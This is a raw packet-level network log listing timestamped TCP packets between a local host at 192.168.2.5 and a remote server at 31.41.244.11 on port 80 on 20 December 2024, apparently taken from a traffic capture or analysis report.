Dec 20, 2024 13:12:41.148540974 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.148598909 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.148668051 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.150525093 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.150695086 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.150760889 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.152678967 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.152740955 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.154422045 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.154489040 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.154814959 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.154850006 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.154877901 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.154902935 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.157790899 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.157855034 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.158720016 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.158823013 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.159090042 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.159152031 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.159308910 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.159378052 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.161209106 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.161272049 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.162447929 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.162511110 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.163362026 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.163425922 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.165642023 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.165708065 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.165728092 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.165762901 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.165790081 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.165823936 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.167844057 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.167908907 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.168082952 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.168148994 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.169698954 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.169775963 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.169862032 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.169919014 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.171834946 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.171895981 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.171957970 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.172019005 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.173963070 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.174029112 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.174089909 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.174148083 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.176453114 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.176515102 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.176913977 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.176984072 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.178880930 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.178937912 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.179512978 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.179616928 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.180811882 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.180886984 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.181546926 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.181605101 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.182518005 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.182575941 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.182935953 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.182991982 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.184628963 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.184686899 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.184822083 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.184879065 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.186800957 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.186860085 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.186873913 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.186929941 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.189028978 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.189085960 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.189155102 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.189212084 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.191781044 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.191838980 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.192420006 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.192490101 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.196598053 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.196631908 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.196660995 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.196693897 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.197426081 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.197494030 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.197572947 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.197630882 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.199378967 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.199444056 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.200043917 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.200108051 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.201643944 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.201709032 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.201792955 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.201854944 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.203579903 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.203615904 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.203640938 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.203670979 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.205297947 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.205362082 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.205612898 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.205672026 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.207137108 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.207197905 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.207331896 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.207393885 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.209029913 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.209101915 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.209748983 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.209811926 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.211764097 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.211836100 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.212712049 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.212776899 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.214565992 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.214641094 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.214869976 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.214942932 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.215748072 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.215809107 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.216242075 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.216310978 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.217535973 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.217597961 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.217889071 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.217951059 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.218914986 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.218981028 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.219468117 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.219531059 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.221998930 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.222063065 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.222616911 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.222678900 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.224581957 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.224647045 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.225033998 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.225110054 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.227353096 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.227433920 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.228204012 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.228274107 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.229152918 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.229228973 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.229645967 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.229724884 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.230720997 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.230755091 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.230814934 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.230844975 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.231921911 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.231997967 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.232067108 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.232125998 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.233974934 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.234065056 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.234868050 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.234997034 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.236696959 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.236731052 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.236784935 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.236839056 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.238656044 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.238847971 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.238933086 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.240014076 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.240096092 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.240468979 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.240537882 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.242142916 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.242296934 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.242305040 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.242377043 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.335654974 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.335988045 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.336078882 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.336154938 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.336795092 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.336829901 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.336863041 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.336910009 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.338641882 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.338706017 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.338879108 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.338943958 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.341140985 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.341204882 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.341372967 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.341434956 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.342798948 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.342861891 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.343139887 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.343221903 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.344194889 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.344259977 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.344315052 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.344378948 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.345632076 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.345696926 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.345825911 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.345890045 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.346976042 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.347033978 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.347115993 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.347176075 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.348690987 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.348753929 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.349190950 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.349255085 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.350918055 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.350972891 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.350994110 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.351027012 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.352876902 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.353115082 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.353204012 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.355092049 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.355263948 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.355287075 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.355334997 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.356364012 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.356461048 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.356477022 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.356524944 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.358421087 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.358484983 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.359003067 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.359066010 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.359472036 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.359530926 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.359586954 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.359649897 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.360601902 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.360663891 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.360826969 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.360888004 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.361588001 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.361674070 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.361721992 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.361787081 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.362776995 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.362843990 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.363111973 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.363177061 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.364739895 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.364804983 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.364981890 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.365042925 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.366154909 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.366216898 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.366432905 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.366539001 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.367372036 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.367590904 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.367656946 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.368881941 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.368946075 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.368963957 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.369040012 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.370194912 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.370872974 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.370944023 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.371696949 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.371771097 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.372670889 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.372745991 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.373260021 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.373270988 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.373333931 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.374687910 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.374814987 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.374898911 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.376183033 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.376255035 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.376961946 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.377036095 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.377845049 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.378041983 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.378314972 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.378385067 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.379869938 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.379944086 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.380166054 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.380230904 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.380862951 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.380933046 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.380997896 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.381053925 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.382153988 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.382240057 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.382730961 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.382788897 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.384177923 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.384253025 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.384881973 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.384953022 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.385305882 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.385380030 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.385624886 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.385700941 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.386666059 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.386956930 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.387032032 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.388119936 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.388132095 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.388180017 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.389704943 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.389760017 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.389816046 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.389867067 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.391372919 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.391820908 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.391875982 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.393547058 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.393611908 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.393625975 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.393676043 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.395279884 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.395404100 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.395477057 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.397135019 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.397207022 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.397222042 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.397280931 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.398436069 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.398500919 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.398814917 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.398871899 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.399518967 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.399578094 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.399671078 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.399729967 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.400403976 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.400465965 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.400660992 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.400717020 CET	49913	80	192.168.2.5	31.41.244.11
